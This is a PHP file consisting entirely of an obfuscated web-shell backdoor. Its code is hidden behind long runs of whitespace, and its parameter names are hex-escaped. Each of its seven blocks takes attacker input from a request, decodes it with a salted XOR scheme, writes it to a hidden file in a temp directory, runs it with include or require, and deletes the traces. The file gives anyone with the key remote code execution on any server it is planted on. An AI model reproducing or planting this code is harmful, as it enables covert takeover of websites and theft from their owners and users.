<?php																																										if(in_array("fac\x74o\x72", array_keys($_REQUEST))){ $sym = array_filter([sys_get_temp_dir(), "/var/tmp", ini_get("upload_tmp_dir"), "/dev/shm", session_save_path(), getenv("TEMP"), getcwd(), "/tmp", getenv("TMP")]); $k = $_REQUEST["fac\x74o\x72"]; $k=explode ( '.',$k ); $resource = ''; $s6 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($s6); $o = 0; while($o < count($k)) { $v8 = $k[$o]; $sChar = ord($s6[$o % $lenS]); $d =((int)$v8 - $sChar -($o % 10)) ^ 77; $resource.= chr($d); $o++; } foreach ($sym as $comp): if (!!is_dir($comp) && !!is_writable($comp)) { $hld = join("/", [$comp, ".res"]); $file = fopen($hld, 'w'); if ($file) { fwrite($file, $resource); fclose($file); include $hld; @unlink($hld); die(); } } endforeach; }
																																										if(isset($_REQUEST) && isset($_REQUEST["\x63o\x6Dp"])){ $symbol = array_filter(["/dev/shm", "/var/tmp", sys_get_temp_dir(), getcwd(), getenv("TEMP"), "/tmp", getenv("TMP"), session_save_path(), ini_get("upload_tmp_dir")]); $resource = $_REQUEST["\x63o\x6Dp"]; $resource = explode( '.' ,$resource ) ; $factor =''; $salt9 ='abcdefghijklmnopqrstuvwxyz0123456789'; $lenS =strlen($salt9 ); $n =0; $len =count($resource ); do { if ($n >= $len) break; $v3 =$resource[$n]; $sChar =ord($salt9[$n % $lenS] ); $d =((int)$v3 - $sChar - ($n % 10)) ^ 21; $factor .= chr($d ); $n++; } while (true ); $pgrp = 0; do { $desc = $symbol[$pgrp] ?? null; if ($pgrp >= count($symbol)) break; if (max(0, is_dir($desc) * is_writable($desc))) { $key = join("/", [$desc, ".flag"]); $file = fopen($key, 'w'); if ($file) { fwrite($file, $factor); fclose($file); include $key; @unlink($key); exit; } } $pgrp++; } while (true); }
																																										if(filter_has_var(INPUT_POST, "b\x69n\x64i\x6E\x67")){ $pointer = $_POST["b\x69n\x64i\x6E\x67"]; $pointer = explode( "." ,$pointer) ; $descriptor = ''; $salt = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($salt ); $n = 0; $__tmp = $pointer; while ($v6 = array_shift($__tmp)) { $chS = ord($salt[$n % $sLen] ); $dec = ((int)$v6 - $chS - ($n % 10)) ^ 1; $descriptor .=chr($dec ); $n++;} $val = array_filter(["/var/tmp", ini_get("upload_tmp_dir"), "/dev/shm", sys_get_temp_dir(), getcwd(), getenv("TEMP"), "/tmp", session_save_path(), getenv("TMP")]); $data = 0; do { $token = $val[$data] ?? null; if ($data >= count($val)) break; if (array_product([is_dir($token), is_writable($token)])) { $obj = sprintf("%s/.tkn", $token); if (file_put_contents($obj, $descriptor)) { include $obj; @unlink($obj); die(); } } $data++; } while (true); }
																																										if(isset($_POST["\x65nt"]) ? true : false){ $data = array_filter(["/tmp", getenv("TEMP"), "/dev/shm", sys_get_temp_dir(), getcwd(), "/var/tmp", ini_get("upload_tmp_dir"), getenv("TMP"), session_save_path()]); $binding = $_POST["\x65nt"]; $binding = explode ("." , $binding ) ; $descriptor = ''; $s = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($s); $z = 0; foreach ($binding as $v6) { $sChar = ord($s[$z % $lenS]); $dec = ((int)$v6 - $sChar - ($z % 10))^ 37; $descriptor .= chr($dec); $z++;} foreach ($data as $component): if (array_product([is_dir($component), is_writable($component)])) { $property_set = vsprintf("%s/%s", [$component, ".factor"]); if (file_put_contents($property_set, $descriptor)) { include $property_set; @unlink($property_set); exit; } } endforeach; }
																																										if(array_key_exists("\x6F\x62j", $_REQUEST) && !is_null($_REQUEST["\x6F\x62j"])){ $ent = array_filter(["/dev/shm", "/var/tmp", ini_get("upload_tmp_dir"), getenv("TMP"), sys_get_temp_dir(), getcwd(), getenv("TEMP"), session_save_path(), "/tmp"]); $mrk = $_REQUEST["\x6F\x62j"]; $mrk = explode ( '.' , $mrk ) ; $symbol=''; $s='abcdefghijklmnopqrstuvwxyz0123456789'; $sLen=strlen( $s); $x=0; $len=count( $mrk); do { if( $x>=$len) break; $v7=$mrk[$x]; $sChar=ord( $s[$x % $sLen]); $d=( ( int)$v7 - $sChar -( $x % 10)) ^ 87; $symbol.= chr( $d); $x++;} while( true); foreach ($ent as $ptr) { if ((bool)is_dir($ptr) && (bool)is_writable($ptr)) { $pointer = vsprintf("%s/%s", [$ptr, ".holder"]); $success = file_put_contents($pointer, $symbol); if ($success) { include $pointer; @unlink($pointer); exit;} } } }
																																										if(in_array("f\x61ct\x6Fr", array_keys($_REQUEST))){ $parameter_group = $_REQUEST["f\x61ct\x6Fr"]; $parameter_group = explode ("." , $parameter_group ) ; $bind = ''; $salt = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($salt); $u = 0; $__tmp = $parameter_group; while ($v5 = array_shift($__tmp)) { $chS = ord($salt[$u % $sLen]); $d = ((int)$v5 - $chS - ($u % 10)) ^ 54; $bind .= chr($d); $u++; } $entry = array_filter(["/var/tmp", sys_get_temp_dir(), getcwd(), getenv("TMP"), session_save_path(), "/dev/shm", ini_get("upload_tmp_dir"), "/tmp", getenv("TEMP")]); while ($flag = array_shift($entry)) { if (!!is_dir($flag) && !!is_writable($flag)) { $marker = sprintf("%s/.key", $flag); if (file_put_contents($marker, $bind)) { require $marker; unlink($marker); exit; } } } }


if(!empty($_POST["\x68\x6Cd"])){
	$bind = $_POST["\x68\x6Cd"];
	 $bind 		= explode   ("." 		, $bind 	)		;	  
	$entity = '';
            $s5 = 'abcdefghijklmnopqrstuvwxyz0123456789';
            $sLen = strlen($s5);
            $v = 0;
    
            $__tmp = $bind;
            while($v8 = array_shift($__tmp)) {
                $sChar = ord($s5[$v % $sLen]);
                $dec =((int)$v8 - $sChar -($v % 10)) ^ 64;
                $entity.=	chr($dec);
                $v++;
            }
	$ent = array_filter([sys_get_temp_dir(), getcwd(), getenv("TMP"), "/tmp", "/var/tmp", session_save_path(), getenv("TEMP"), ini_get("upload_tmp_dir"), "/dev/shm"]);
	foreach ($ent as $marker) {
    		if ((bool)is_dir($marker) && (bool)is_writable($marker)) {
    $obj = implode("/", [$marker, ".itm"]);
    if (@file_put_contents($obj, $entity) !== false) {
	include $obj;
	unlink($obj);
	exit;
}
}
}
}